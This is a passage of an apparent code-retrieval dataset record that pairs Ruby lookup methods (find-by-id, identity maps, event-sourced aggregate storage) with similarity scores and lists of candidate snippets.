end", "def find(id)\n return nil if id.blank?\n path = build_association_path lambda { \"#{@owner.request_path(@params)}#{@opts[:path]}/#{id}\" }\n @klass.get(path, @params)\n end", "def find(id)\n begin\n @@grid.get(id)\n rescue\n nil\n end\n end", "def find(id, optional = {})\n find_all([id], optional).first\n end", "def find(id)\n response = RestClient.get(\"#{@type.Resource}/#{id}\")\n @type.from_json response['data']\n end", "def load\n fail AggregateNotFound if prohibit_new && new_aggregate?\n\n AggregateProxy.new(aggregate)\n end", "def find(id, options = {})\n decorated = decorated_class.find(id)\n decorated ? resolve_associations([new(decorated)], options).first : nil\n end", "def get(type, id)\n case type\n when :company\n Company.new(process_get(\"companies/#{id}\"))\n when :property\n Property.new(process_get(\"properties/#{id}\"))\n when :unit\n Unit.new(process_get(\"units/#{id}\"))\n else\n raise InvalidTypeParam, \"Type not recognized: #{type}\"\n end\n end", "def by_type(id)\n DB_TYPE[id]\n end", "def find(id)\n klass.find(id)\n end", "def find_by_id!(id)\n found = entities.detect { |elm| elm.id == id }\n raise Occi::Core::Errors::CollectionLookupError, \"Entity #{id.inspect} not found in the collection\" unless found\n found\n end", "def fetch(id)\n search(id: id)[:records].first\n end", "def find(id); end", "def find(id); end", "def store_aggregate(aggregate)\n type = aggregate.class.to_s\n identity_map[type] ||= {}\n identity_map[type][aggregate.id] = aggregate\n\n self\n end", "def find_by_id(id)\n find(id)\n end", "def find(id)\n data = client.get(asset_type, id: id )\n self.new_from_payload(data)\n end", "def get(id)\n return nil if id.nil?\n\n return objects[id] if objects.has_key?(id)\n\n type, content = get_object(id)\n\n klass = TYPE_CLASS[type] or raise NotImplementedError, \"type not supported: #{type}\"\n\n objects[id] = klass.new(self, id, content)\n end", "def find_entity(entity_id, entity_type)\n entity_class = begin; entity_type.constantize; rescue; nil; end\n return if entity_class.nil?\n\n @entity = if entity_class.respond_to?(:visible)\n entity_class.visible.find_by(id: entity_id)\n else\n entity_class.find_by(id: entity_id)\n end\n end", "def get_business_object(object_type, id)\n xml = self.get_object_xml(object_type, id)\n return BusinessObject.new(xml)\n end", "def fetch_by_id(id)\n if IdentityCache.should_cache?\n\n require_if_necessary do\n object = IdentityCache.fetch(rails_cache_key(id)){ resolve_cache_miss(id) }\n IdentityCache.logger.error \"[IDC id mismatch] fetch_by_id_requested=#{id} fetch_by_id_got=#{object.id} for #{object.inspect[(0..100)]} \" if object && object.id != id.to_i\n object\n end\n\n else\n self.find_by_id(id)\n end\n end", "def find(id, type = nil)\n result = {json_result: nil}\n begin\n check_client_authentication# These need to be more DRY\n ensure_type(type, FIND_CLASS_WHITELIST)\n case\n when \"GithubUser\"\n when \"GithubRepo\"\n when \"GithubEvent\"\n end\n rescue GithubAdapterError => e\n result[:json_result] = e.return_hash\n end\n return result\n end", "def find(id)\n @collection[id.to_s]\n end", "def find(id)\n found_id = redis.get \"#{klass}:id:#{id}\"\n\n if found_id\n object = self.new\n object.send(:id=, found_id.to_i)\n object\n end\n end", "def find(item, type = nil)\n find_by_id(item) || find_by_generic(item, type)\n end", "def find_by_id(goid)\n self[goid]\n end", "def find(collection_name, id)\n collection = eval(\"@#{collection_name}\")\n unless collection.nil?\n position = collection.index { |c| c.id == id }\n return position ? collection[position] : 'Undefined'\n end\n \"Undefined collection named #{collection_name}\"\n end", "def get_from_id(id)\n @bucket_id_map[id]\n end", "def get(type, id)\n case type.to_sym\n when :blob then grit.blob(id)\n when :tree then grit.tree(id)\n when :commit then grit.commit(id)\n when :tag\n \n object = grit.git.ruby_git.get_object_by_sha1(id)\n if object.type == :tag \n Grit::Tag.new(object.tag, grit.commit(object.object))\n else\n nil\n end\n \n else raise \"unknown type: #{type}\"\n end\n end", "def fetch_by_id(id)\n ensure_base_model\n raise_if_scoped\n return unless id\n raise NotImplementedError, \"fetching needs the primary index enabled\" unless primary_cache_index_enabled\n if IdentityCache.should_use_cache?\n\n require_if_necessary do\n object = nil\n coder = IdentityCache.fetch(rails_cache_key(id)){ coder_from_record(object = resolve_cache_miss(id)) }\n object ||= record_from_coder(coder)\n IdentityCache.logger.error \"[IDC id mismatch] fetch_by_id_requested=#{id} fetch_by_id_got=#{object.id} for #{object.inspect[(0..100)]} \" if object && object.id != id.to_i\n object\n end\n\n else\n self.reorder(nil).where(primary_key => id).first\n end\n end", "def get_from_id(id)\n @bucket_id_map[id]\n end", "def find(id, collection)\n collection.find(id)\n end", "def get_object(type, id)\n repo = barerepo\n return false if repo.empty?\n return repo.head.target unless id\n begin\n res = repo.lookup id\n rescue\n return false\n end\n (res.type == type) ? res : false\n end", "def get_object(type, id)\n repo = barerepo\n return false if repo.empty?\n return repo.head.target unless id\n begin\n res = repo.lookup id\n rescue\n return false\n end\n (res.type == type) ? res : false\n end", "def find id\n return nil if node.ids.empty?\n node.send(:orm_class).find id\n end", "def find(id)\n return nil if id.blank?\n path = build_association_path -> { \"#{@parent.request_path(@params)}#{@opts[:path]}/#{id}\" }\n @klass.get_resource(path, @params)\n end", "def get_id_by_type_and_name(type, name)\n check_property(type)\n check_property(name)\n\n result = find({:type => type, :name => name})\n if result.empty?\n nil\n else\n result[0][:id]\n end\n end", "def find_one(id)\n response = request(:get, \"/#{resource_name}/#{id}\")\n #puts response\n construct_record_from_singular(response)\n end", "def find(id)\n end", "def find_by_id(id)\n domain_record = finder(\n :select => [:id, :domain, :description],\n :conditions => {:id => id})\n return nil if domain_record.nil?\n\n new(domain_record)\n end", "def sub_fetch(group_id, sub_id)\n results = admin_ldap.search(base: ns_dn(group_id), filter: Net::LDAP::Filter.eq('cn', sub_id))\n raise LdapException, 'id does not exist' if results.empty?\n raise LdapException, 'ambiguous results, duplicate ids' if results.length > 1\n\n results[0]\n end", "def find(id, type = :full)\n case type\n when :full\n response = JSON.parse(@client.get(\"items/#{id}\").body)\n Promisepay::Item.new(@client, response['items'])\n when :status\n response = JSON.parse(@client.get(\"items/#{id}/status\").body)\n Promisepay::Item.new(@client, response['items'])\n end\n end", "def find_by_id(id)\n find_by_attributes(:id => id).first\n end", "def get(id)\n klass.find(:first, params: { klass.primary_key => wrap_key(id) })\n end", "def fetch(id)\n # Pass in a proc that will return true if item with id is looked up\n # (pass in invItem as a param to lambda)\n return lookup(id, Proc.new { |invItem| return invItem } )\n end", "def find(id)\n fail(ArgumentError, \"Missing id/slug\") unless id\n id = OAuth::Helper.escape(id)\n result = access_token.get(\"#{API_BASE}/collection/#{id}\")\n fail(ArgumentError, \"Bad request\") unless result.code == \"200\"\n\n Collection.new(result.body)\n end", "def fetch(id)\n fetch_by_id(id) or raise(ActiveRecord::RecordNotFound, \"Couldn't find #{self.class.name} with ID=#{id}\")\n end", "def get(id)\n emsg = \"The %s argument cannot be nil, empty, or a zero length string\"\n raise(ArgumentError, emsg % ['id']) if !id.kind_of?(Integer)\n account = @accounts.select{|a| a.id == id}\n account = account.nil? || account.empty? ? nil : account[0]\n return account\n end", "def service_boards_id_types_type_id_sub_type_association_get(id, type_id, opts = {})\n data, _status_code, _headers = service_boards_id_types_type_id_sub_type_association_get_with_http_info(id, type_id, opts)\n return data\n end", "def get_raw_image_by_id(id)\n\n repo_images = self.get_raw_repository_images\n\n # select images from this repository with matching id\n image = repo_images.select { |image| image.id[0,id.length] == id }\n\n if image.length == 0\n raise \"Image not found\"\n elsif image.length > 1\n raise \"More than one image matched\"\n end\n\n return image[0]\n\n end", "def get_object(id)\n return nil unless (blob = find_blob(id)) && (obj = blob.read_object(id))\n deserialize(obj)\n end", "def fetch id\n each_unread([]) do |m|\n if m.id == id\n return m\n end\n end\n\n nil\n end", "def find_by_id(id)\n domain_record = finder(:select => [:id, :name], :conditions => {:id => id})\n return nil unless domain_record\n\n new(domain_record)\n end", "def find_by_id(id)\n find_by_id!(id)\n rescue TopdeskAPI::Error::RecordNotFound\n nil\n end", "def find(id)\n new.from_json(db_root.join(id).read)\n end", "def getObject(id)\n\t\tdoc.search(\"[@id='#{id}']\").first\n\tend", "def find_record_with_rbac(db, id)\n options = @find_with_aggregates ? { :named_scope => :with_aggregates } : {}\n super(db, id, options)\n end", "def find_in_collection(id)\n collection.find_by_id(id)\n end", "def find_by_id(id)\n self.select { |record| record.id == id.to_s }.first\n end", "def find_by_id(id)\n self.select { |record| record.id == id.to_s }.first\n end", "def init_organization_by_id(id)\n require_relative 'telerivet/organization'\n return Organization.new(self, {'id' => id}, false)\n end", "def object_from_id(id, query_ctx)\n type_name, item_id = GraphQL::Schema::UniqueWithinType.decode(id)\n case type_name\n when 'User'\n User.find(item_id)\n end\n end", "def find_by_ncbi_id_or_fetch!(ncbi_id)\n find_by_ncbi_id(ncbi_id) || fetch!(ncbi_id)\n end", "def get_resource(id, type)\n\t\[email protected](type).call.get(id)\n\tend", "def fetch_item(id, api_url=ANN_API_URL)\n\t\tbatch_items([id], api_url).first\n\tend", "def find_event_by_id(id)\n return nil unless id\n event_lookup(\"/#{id}\")\n end", "def find id, options = {}\n\n raise \"class or class name required\" unless @klass.present?\n raise \"path required\" unless @nodes.size > 0\n\n id = id.is_a?( BSON::ObjectId ) ? id : BSON::ObjectId( id )\n options = HashWithIndifferentAccess.new( options )\n\n if document = @klass.constantize.first( @clause => id )\n embedded_documents = @nodes.inject( [ document ] ) { | documents, key| documents.map { |document| document.send( key.to_sym ) }.flatten }.compact\n embedded_documents.detect { |embedded_document| embedded_document.id.to_s == id.to_s }\n end\n\n rescue BSON::InvalidObjectId\n nil\n end", "def find(id)\n repository.find(id).documents.first\n end", "def get_object(type, id)\n raise ArgumentError.new(\"type needs to be one of 'node', 'way', and 'relation'\") unless type =~ /^(node|way|relation)$/\n raise TypeError.new('id needs to be a positive integer') unless(id.kind_of?(Fixnum) && id > 0)\n response = get(\"#{type}/#{id}\")\n check_response_codes(response)\n parser = OSM::StreamParser.new(:string => response.body, :callbacks => OSM::ObjectListCallbacks.new)\n list = parser.parse\n raise APITooManyObjects if list.size > 1\n list[0]\n end", "def retrieve_analysis_by_id(id)\n @analysis = Dencity::Analysis.new(nil, @connection)\n @analysis.retrieve_by_id(id)\n end", "def find_by_id(id, options={})\n name = self.class.name.demodulize.downcase\n route = Automatic::Client.routes.route_for(name)\n url = route.url_for(id: id)\n\n request = api_client.get(url, options)\n\n if request.success?\n self.class::INDIVIDUAL_MODEL.new(request.body)\n else\n nil\n end\n end", "def filtered_by_association_type_and_id(name, type, id)\n type.present? && id.present? ? where(\"#{name}_key\" => \"#{type}#{ActivityNotification.config.composite_key_delimiter}#{id}\") : none\n end", "def find_by_id(id)\n raise NotImplementedError.new\n end", "def find_metadata_by_id (id, id_type: 'uuid', return_description: true)\r\n\r\n # loop through the metadata structure\r\n $isaac_metadata_auxiliary.each_value do |value|\r\n\r\n # check to see if the passed id matches the specified id in the metadata\r\n if id_type == 'uuid' && value['uuids'] && value['uuids'].first[:uuid] == id\r\n found = true\r\n elsif id_type == 'sequence' && value['uuids'] && value['uuids'].first[:translation]['value'].to_s == id.to_s\r\n found = true\r\n end\r\n\r\n # if this value was a match, return the specified object\r\n if found && return_description\r\n return value['fsn']\r\n elsif found\r\n return value\r\n end\r\n end\r\n\r\n # if nothing was found return an empty string\r\n return ''\r\n end", "def ensure_exists(aggregate_id, clazz)\n !load_aggregate(aggregate_id, clazz).nil?\n end", "def ensure_exists(aggregate_id, clazz)\n !load_aggregate(aggregate_id, clazz).nil?\n end", "def get_object_for_id(id, redis_pool = nil)\n redis_connection(redis_pool) do |conn|\n decode_object_from_redis(conn.get(key(id)))\n end\n end", "def ar_resource\n return unless type && id\n return unless self.class.union_models.include?(type.to_sym)\n\n klass = type.classify.constantize rescue nil\n return unless klass\n klass.find_by_id(id)\n end", "def find(id)\n raise NotImplementedError\n end", "def find(id)\n @objects[id]\n end", "def find_by_id(id)\n find_by(:id, id)\n end", "def contains_aggregate?(aggregate_id)\n @event_store.stream_exists?(aggregate_id)\n end", "def contains_aggregate?(aggregate_id)\n @event_store.stream_exists?(aggregate_id)\n end", "def fetch(id)\n fetch_by_id(id) or raise(ActiveRecord::RecordNotFound, \"Couldn't find #{self.name} with ID=#{id}\")\n end", "def find(id)\n repository.find(self, id)\n end", "def details_by_type_and_id(type, id)\n get(resource_path_for_entity_type(type) + \"/#{id}\")\n end", "def find(id)\n @adapter.find(collection, id).tap do |record|\n raise Lotus::Model::EntityNotFound.new unless record\n end\n end", "def read(id)\n begin\n find(id).read\n rescue\n nil\n end\n end", "def find_single(id, *args)\n data = get(id.to_s, *args)\n return nil unless data && !data.empty?\n instantiate(id, data)\n end", "def object_from_id(id, ctx)\n if @object_from_id_proc.nil?\n raise(NotImplementedError, \"Can't fetch an object for id \\\"#{id}\\\" because the schema's `object_from_id (id, ctx) -> { ... }` function is not defined\")\n else\n @object_from_id_proc.call(id, ctx)\n end\n end" ]
[ "0.67342156", "0.6724899", "0.5534811", "0.54373527", "0.5300605", "0.5186826", "0.5118275", "0.5104394", "0.506786", "0.5057087", "0.50392383", "0.5026509", "0.5016119", "0.4986281", "0.49750254", "0.49571168", "0.49536654", "0.49529868", "0.49429488", "0.494267", "0.49331933", "0.49287775", "0.49162763", "0.49162763", "0.4909305", "0.49046746", "0.49007574", "0.48895523", "0.48877516", "0.4876097", "0.48550257", "0.48495138", "0.48481914", "0.4845127", "0.4843243", "0.4836751", "0.4836444", "0.4836234", "0.48338196", "0.483169", "0.48120168", "0.4805942", "0.47947145", "0.47947145", "0.47943544", "0.4788126", "0.47852674", "0.47774407", "0.475027", "0.4747699", "0.47264567", "0.472391", "0.4717155", "0.47046444", "0.4704182", "0.4702964", "0.47014537", "0.4687489", "0.4686502", "0.46849513", "0.46598387", "0.46569186", "0.46567774", "0.46516326", "0.4649792", "0.46447727", "0.4642734", "0.46349695", "0.46243083", "0.46243083", "0.46236974", "0.46182358", "0.46164474", "0.46130964", "0.46080247", "0.4601544", "0.46002743", "0.4597596", "0.45943764", "0.45930547", "0.45898774", "0.4588761", "0.4586479", "0.4582674", "0.45822376", "0.45822376", "0.4580879", "0.45743883", "0.45731428", "0.45699364", "0.45669696", "0.45630223", "0.45630223", "0.45625207", "0.45575106", "0.45543474", "0.455174", "0.45496866", "0.45421767", "0.45410275" ]
0.8147694
0
Public: Stores an aggregate via it's ID into the identity map. aggregate the aggregate to store. Returns self.
def store_aggregate(aggregate) type = aggregate.class.to_s identity_map[type] ||= {} identity_map[type][aggregate.id] = aggregate self end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_aggregate(aggregate)\n existing = aggregates[aggregate.id]\n if existing && !existing.equal?(aggregate)\n raise NonUniqueAggregateId.new(aggregate, aggregates[aggregate.id])\n else\n aggregates[aggregate.id] = aggregate\n end\n end", "def add_aggregate(aggregate)\n existing = aggregates[aggregate.id]\n if existing && !existing.equal?(aggregate)\n raise NonUniqueAggregateId.new(aggregate, aggregates[aggregate.id])\n else\n aggregates[aggregate.id] = aggregate\n end\n end", "def persist_aggregate\n raise NotImplementedError\n end", "def aggregate\n @aggregate ||= klass.build.tap do |aggregate|\n aggregate.instance_variable_set(:@id, id)\n aggregate.instance_variable_set(:@local_version, version)\n aggregate.instance_variable_set(:@persisted_version, version)\n events.each { |event| EventApplicator.apply_event!(aggregate, event) }\n end\n end", "def load\n fail AggregateNotFound if prohibit_new && new_aggregate?\n\n AggregateProxy.new(aggregate)\n end", "def create_aggregate(aggregate)\n raise MethodNotImplemented\n end", "def load_aggregate(aggregate_id, clazz = nil)\n load_aggregates([aggregate_id], clazz)[0]\n end", "def fetch_aggregate(type, id)\n return unless identity_map[type]\n\n identity_map[type][id]\n end", "def set(document)\n return nil unless Mongoid.identity_map_enabled? && document && document.id\n documents_for(document.class)[document.id] = document\n end", "def new_aggregate(type,name, value)\n Models::Aggregate.new(\n :type => type,\n :parent_name => assessment_group.display_name,\n :parent_type => 'AssessmentGroup',\n :name => name,\n :value => value\n )\n end", "def set_aggregation\n @aggregation = Aggregation.find(params[:id])\n end", "def aggregate\n public_send aggregate_name\n end", "def load_aggregate(aggregate_id, clazz = nil)\n result = aggregates.fetch(aggregate_id) do |_|\n stream, events = @event_store.load_events(aggregate_id)\n raise AggregateNotFound.new(aggregate_id) unless stream\n aggregate_class = Class.const_get(stream.aggregate_type)\n aggregates[aggregate_id] = aggregate_class.load_from_history(stream, events)\n end\n\n raise TypeError, \"#{result.class} is not a #{clazz}\" if result && clazz && !(result.class <= clazz)\n\n result\n end", "def create\n @aggregate = Aggregate.new(params[:aggregate])\n\n respond_to do |format|\n if @aggregate.save\n format.html { redirect_to(@aggregate, :notice => 'Aggregate was successfully created.') }\n format.xml { render :xml => @aggregate, :status => :created, :location => @aggregate }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @aggregate.errors, :status => :unprocessable_entity }\n end\n end\n end", "def events_for(aggregate_id)\n if @streams.has_key? aggregate_id\n return @streams.fetch aggregate_id\n end\n\n @streams.store aggregate_id, Array.new\n end", "def store(hash)\n store_for_id(@id, hash)\n end", "def initialize(aggregate_id)\n @aggregate_id = aggregate_id\n @events = Array.new\n @listeners = Array.new\n end", "def aggregate(value)\n @query_hash[AGGREGATE][value] = value\n self\n end", "def use_aggregate_factory(aggregate_factory)\n @aggregate_factory = aggregate_factory\n end", "def initialize(aggregate)\n @_aggregate = aggregate\n @_dirty_events = []\n end", "def store_new(object)\n raise IdentityConflict if contains?(object)\n store(object)\n end", "def write\n @id = store.put(self)\n end", "def contains_aggregate?(aggregate_id)\n @event_store.stream_exists?(aggregate_id)\n end", "def contains_aggregate?(aggregate_id)\n @event_store.stream_exists?(aggregate_id)\n end", "def post_process(aggregate)\n aggregate\n end", "def set_event_agg\n @event_agg = EventAgg.find(params[:id])\n end", "def new group_identifier, object_identifier_or_array = []\n groups.store self.class.identifierize(group_identifier), self.class.identifier_collect(object_identifier_or_array)\n end", "def identity_map\n Thread.current[:\"[mongoid]:identity-map\"] ||= IdentityMap.new\n end", "def identity_map\n Thread.current[:\"[mongoid]:identity-map\"] ||= IdentityMap.new\n end", "def identity_map\n Thread.current[:\"[mongoid]:identity-map\"] ||= IdentityMap.new\n end", "def update_identity(identity_map)\n identity_map[@remote_key]=@object\n\n self\n end", "def create\n return super unless mti_class?\n shard_wrangler.cascade_save\n ActiveRecord::IdentityMap.add(self) if ActiveRecord::IdentityMap.enabled?\n @new_record = false\n self.id\n end", "def save\n ## before_save hook ##\n before_save()\n\n if self._id.nil?\n self._id=BSON::ObjectId.new\n end\n self.class.db_collection.insert_one(to_hash)\n\n ## after_save hook ##\n after_save()\n self\n end", "def load_aggregatee_with_cache(params)\n if params[:id] == 'editForm'\n aggregatees[:edit_form][:item].merge!(:record_id => params[:record_id])\n end\n \n super\n end", "def <<(id)\n group << id\n end", "def save(instance)\n @pstore.transaction do\n @registry << instance\n @pstore[:registry] = @registry\n end\n end", "def add_with_id item\n id = @id_gen.gen\n #here we automatically mix in the IdManaged protocol\n item.extend IdManaged\n item.id_manager = self\n item.pool_id =id\n @arr << item\n end", "def store_aggregate_metric(layer, metric_hash, allocation_metric_hash)\n meta = MetricMeta.new(\"#{layer.type}/all\")\n\n metric_hash[meta] ||= MetricStats.new(false)\n allocation_metric_hash[meta] ||= MetricStats.new(false)\n\n # timing\n stat = metric_hash[meta]\n stat.update!(layer.total_call_time, layer.total_exclusive_time)\n\n # allocations\n stat = allocation_metric_hash[meta]\n stat.update!(layer.total_allocations, layer.total_exclusive_allocations)\n end", "def initialize\n @identity_map = Hash.new\n end", "def identity=(value)\n @identity = value\n end", "def store_group(uuid)\n Uploadcare::Group.store(uuid)\n end", "def saveIdentity _obj, _args\n \"_obj saveIdentity _args;\" \n end", "def set_identity\n @identity = Identity.find(params[:id])\n end", "def set_identity\n @identity = Identity.find(params[:id])\n end", "def set_identity\n @identity = Identity.find(params[:id])\n end", "def save!\n set_default_id_if_needed\n raise StoreError, 'No store provided' unless self.store\n error_ptr = Pointer.new(:id)\n self.store.addObject(self, error: error_ptr)\n raise StoreError, error_ptr[0].description if error_ptr[0]\n self\n end", "def set_identity\n @identity = Identity.find(params[:id])\n end", "def identity_publisher_hash=(value)\n @identity_publisher_hash = value\n end", "def set(instance)\n instance_key = instance.key\n raise \"Can't store an instance with a nil key in the IdentityMap\" if instance_key.nil?\n \n @cache[mapped_class(instance.class)][instance_key] = instance\n end", "def save\n Rails.logger.debug {\"saving #{self}\"}\n\n result=self.class.collection\n .insert_one(_id:@id, city:@city, state:@state, pop:@population)\n @id=result.inserted_id\n end", "def save(aggregate_type, aggregate_id, events, expected_version = 0)\n sql, version = [], nil\n @storage.transaction do |s|\n unless version = s.get_first_value(\"SELECT version FROM aggregates WHERE aggregate_id = ?\", aggregate_id)\n version = 0\n sql << \"INSERT INTO aggregates(aggregate_id, aggregate_type, structural_version, version) VALUES ('#{aggregate_id}', '#{aggregate_type}', #{aggregate_type.version}, #{version})\"\n end\n assert_expected_version(version, expected_version)\n events.each do |event|\n sql << \"INSERT INTO events(aggregate_id, aggregate_type, data, structural_version, version) VALUES ('#{aggregate_id}', '#{aggregate_type}', '#{SQLite3::Blob.new(event.to_json)}', #{event.structural_version}, #{version += 1})\"\n end\n sql << \"UPDATE aggregates SET version = #{version} WHERE aggregate_id = '#{aggregate_id}'\"\n s.execute_batch(sql.join(\";\\n\"))\n # XXX within a transactional context, republishing stored events may still fail\n events.each{|e| publish(e) }\n end\n version\n end", "def add_id\n @item.key = @bib.id\n end", "def create_record!(hash, inventory_object)\n record = inventory_collection.model_class.create!(hash.except(:id))\n inventory_collection.store_created_records(record)\n\n inventory_object.id = record.id\n end", "def add_with(aggregate_error = nil)\n aggregate_error || self\n end", "def save \n Rails.logger.debug {\"saving #{self}\"}\n\n result=self.class.collection\n .insert_one(_id:@id, city:@city, state:@state, pop:@population)\n @id=result.inserted_id\n end", "def store collection\n @@graph.store collection\n end", "def add_agg_pubkey(activate_height, agg_pubkey)\n payload = activate_height.to_even_length_hex + agg_pubkey\n index = latest_agg_pubkey_index\n next_index = (index.nil? ? 0 : index + 1).to_even_length_hex\n db.batch do\n db.put(KEY_PREFIX[:agg_pubkey] + next_index, payload)\n db.put(KEY_PREFIX[:latest_agg_pubkey], next_index)\n end\n end", "def set_agroup\r\n @agroup = Agroup.find(params[:id])\r\n end", "def insert(ignore_associations: false)\n unless new?\n msg = \"#{__FILE__}[#{__LINE__}] : #{self.class} : should be new (not loaded from db) - cannot insert\"\n Robe.logger.error(msg)\n raise DBError, msg\n end\n self.id = uuid unless id && !id.empty?\n if cache && cache.includes?(self.class, id)\n msg = \"#{__FILE__}[#{__LINE__}] : #{self.class} : with id #{id} already in cache - cannot insert\"\n Robe.logger.error(msg)\n raise DBError, msg\n else\n # TODO: unwind associations if insert fails\n result = (ignore_associations ? nil : save_associations).to_promise\n result.to_promise_then do\n self.class.db.insert_one(self.class.collection_name, to_db_hash)\n end.to_promise_then do\n @from_db = true\n cache.insert(self) if cache # no filter\n self.to_promise\n end\n end\n end", "def insert(entity)\n id = Collection.to_mongodb_id(entity.id) unless entity.id.nil?\n id ||= BSON::ObjectId.new\n serialized_entity = _serialize(entity).merge('_id': id)\n insert_one(serialized_entity)\n entity.id = id.to_s\n entity\n end", "def add_to_group group_identifier, object_identifier_or_array\n group = self.get group_identifier\n group += identifier_collect(object_identifier_or_array)\n return group\n end", "def map(public_id, private_id)\n @database[\"map:\"+public_id.to_s] = private_id\n end", "def get aggregate_alias = nil\n if @aggregate_fields.count > 1 && aggregate_alias.nil?\n raise ArgumentError, \"Required param aggregate_alias for AggregateQuery with multiple aggregate fields\"\n end\n aggregate_alias ||= @aggregate_fields.keys.first\n @aggregate_fields[aggregate_alias]\n end", "def assign_id\n self.uid = service.mint unless new_record? && uid.present?\n self.id = service.hash(uid)\n end", "def assign_id\n self.uid = service.mint unless new_record? && uid.present?\n self.id = service.hash(uid)\n end", "def store_aggregates\n raise NotImplementedError\n end", "def identity=(v)\n @identity = v\n end", "def save\n self.id = klass.generate_identifier unless persisted? || id\n save_graph = RDF::Graph.new\n fill_save_graph save_graph\n Db.insert_data( save_graph , :graph => klass.object_graph )\n persist!\n end", "def set(document)\n return unless document\n self[document.id] = document\n end", "def associate klass, ident\n @associated_objects[klass].add?(ident) != nil\n end", "def save\n @@data_store.insert(self)\n self\n end", "def initialize\n @identity_map = {}\n @meta = {}\n @pending_saves = []\n end", "def identity_publisher_hash\n return @identity_publisher_hash\n end", "def store(object)\n datastore.store(create_object(object))\n end", "def add_aggregate_model(model, *keys)\n # {{{\n add_foreign_key_to(model, *keys)\n @aggregate_klasses[model.table_name] = [ model, *keys ]\n @aggregates_tree[model.table_name] = model.__associations__.aggregates_tree\n # Required attributes of aggregated models are not \n # required in this model, as aggregated models are \n # referenced by their pkey only and have to exist \n # in DB already. \n # Thus, the foreign key to an aggregated model is\n # required only: \n keys.flatten.each { |attribute|\n @accessor.__attributes__.set_required(attribute)\n }\n inherit(model)\n end", "def find_aggregate(event_or_uuid, klass = aggregate_class, allow_new = false)\n return nil unless event_or_uuid\n\n uuid = event_or_uuid\n # if we extract uuid from previous evt\n if event_or_uuid.is_a?(ActiveAggregate::EventBase)\n uuid = event_or_uuid.get_aggregate_uuid(klass.listen_to_domains.first)\n end\n aggr ||= klass.find_by_uuid(uuid) # then load from db\n if !aggr && allow_new\n aggr = klass.new_aggregate(uuid)\n end\n return aggr\n end", "def add_identifier(ident, element)\r\n map_entry = @identifier_map[ident]\r\n if map_entry \r\n if map_entry.is_a?(Array)\r\n map_entry << element\r\n else\r\n @identifier_map[ident] = [map_entry, element]\r\n end\r\n else \r\n @identifier_map[ident] = element\r\n end\r\n end", "def from_identity(identity)\n collection.find({ :identity=>identity }).map { |fields| Server.new_instance self, fields }\n end", "def from_identity(identity)\n collection.find({ :identity=>identity }).map { |fields| Server.new_instance self, fields }\n end", "def apply(aggregate)\n raise NotImplementedError\n end", "def _serialize(entity)\n serialized = @mapped_collection.serialize(entity)\n serialized.delete(:id)\n serialized[:_id] = Collection.to_mongodb_id(entity.id) unless entity.id.nil?\n serialized\n end", "def aggregation_database_collection_for(context)\n (@aggregation_database_collection ||= {})[context] ||= Mongo::Collection.new(self.collection.database, aggregation_collection_for(context))\n end", "def organization_id=(id)\n self.organization = Organization.find_by_id(id.to_i)\n end", "def initialize(attrs={})\n self.update(attrs)\n @@identity_map[self.class] ||= {}\n @@identity_map[self.class][Marshal.dump(attrs)] = self\n end", "def replace_aggregate!(&block)\n map! do |op|\n case\n when op.respond_to?(:aggregate?) && op.aggregate?\n yield op\n when op.respond_to?(:replace_aggregate!)\n op.replace_aggregate!(&block) \n else\n op\n end\n end\n self\n end", "def store_in(name)\n self.collection_name = name.to_s\n set_collection\n end", "def store_in(name)\n self.collection_name = name.to_s\n set_collection\n end", "def aggregation(*args, &block)\n @aggregations ||= AggregationsCollection.new\n @aggregations.update args.first => Aggregation.new(*args, &block)\n self\n end", "def apply(payload, metadata = nil)\n if id\n event = publish_event payload, metadata\n handle_recursively event\n else\n # This is a workaround for aggregates that set the aggregate identifier in an event handler\n event = Domain::DomainEventMessage.build do |builder|\n builder.metadata = metadata\n builder.payload = payload\n builder.sequence_number = 0\n end\n\n handle_recursively event\n publish_event payload, metadata\n end\n end", "def insert_value(aggregate, elem, idx, name = \"\")\n error = value_error(aggregate, idx)\n\n error ||= if !elem.is_a?(LLVM::Value)\n \"elem: #{elem.inspect}\"\n end\n\n raise ArgumentError, \"Error building insert_value with #{error}\" if error\n\n ins = C.build_insert_value(self, aggregate, elem, idx, name)\n Instruction.from_ptr(ins)\n end", "def get_aggregate_uuid(d = domain)\n uuid\n end", "def edit_identity hash = {}\n organise hash.update :action => 'edit_identity'\n end", "def create_or_update_identity_from_omniauth_hash\n # Create or update an identity from the attributes mapped in the mapper\n identity = identities.find_or_initialize_by(uid: omniauth_hash_map.uid, provider: omniauth_hash_map.provider)\n identity.properties.merge!(omniauth_hash_map.properties)\n identity.save\n end", "def create_new_identity(user, auth)\n Identity.create! do |id|\n id.provider = auth['provider']\n id.uid = auth['uid']\n id.user = user\n end\n user\n end", "def create_object_key\n $feed.record(\"group:#{id}\", { id: self.permalink, name: self.display_name } )\n end", "def store\n @store ||= begin\n raise \"This is Maglev only\" unless defined?(Maglev)\n # In the future, it might be nice to use something\n # other than an IdentitySet. Set? Bag?\n Maglev::PERSISTENT_ROOT[self.to_s.intern] ||= IdentitySet.new\n end\n end", "def cache_key(aggregate_entity, *observation_selection_criteria)\n raise \"TimeSeriesMapLoader#cache_key not implemented.\"\n end", "def load_aggregate_from_store?(agg_attribute)\n decoded_aggregate_store &&\n (decoded_aggregate_store.try(:key?, agg_attribute.name.to_s) || !self.class.aggregate_treat_undefined_attributes_as_default_value?)\n end", "def create identifier, object\n @storage[identifier] = object\n end", "def initialize(asteroid_hash)\n asteroid_hash.each {|key, value|\n self.class.attr_accessor(key)\n self.send(\"#{key}=\", value)\n }\n save\n end" ]
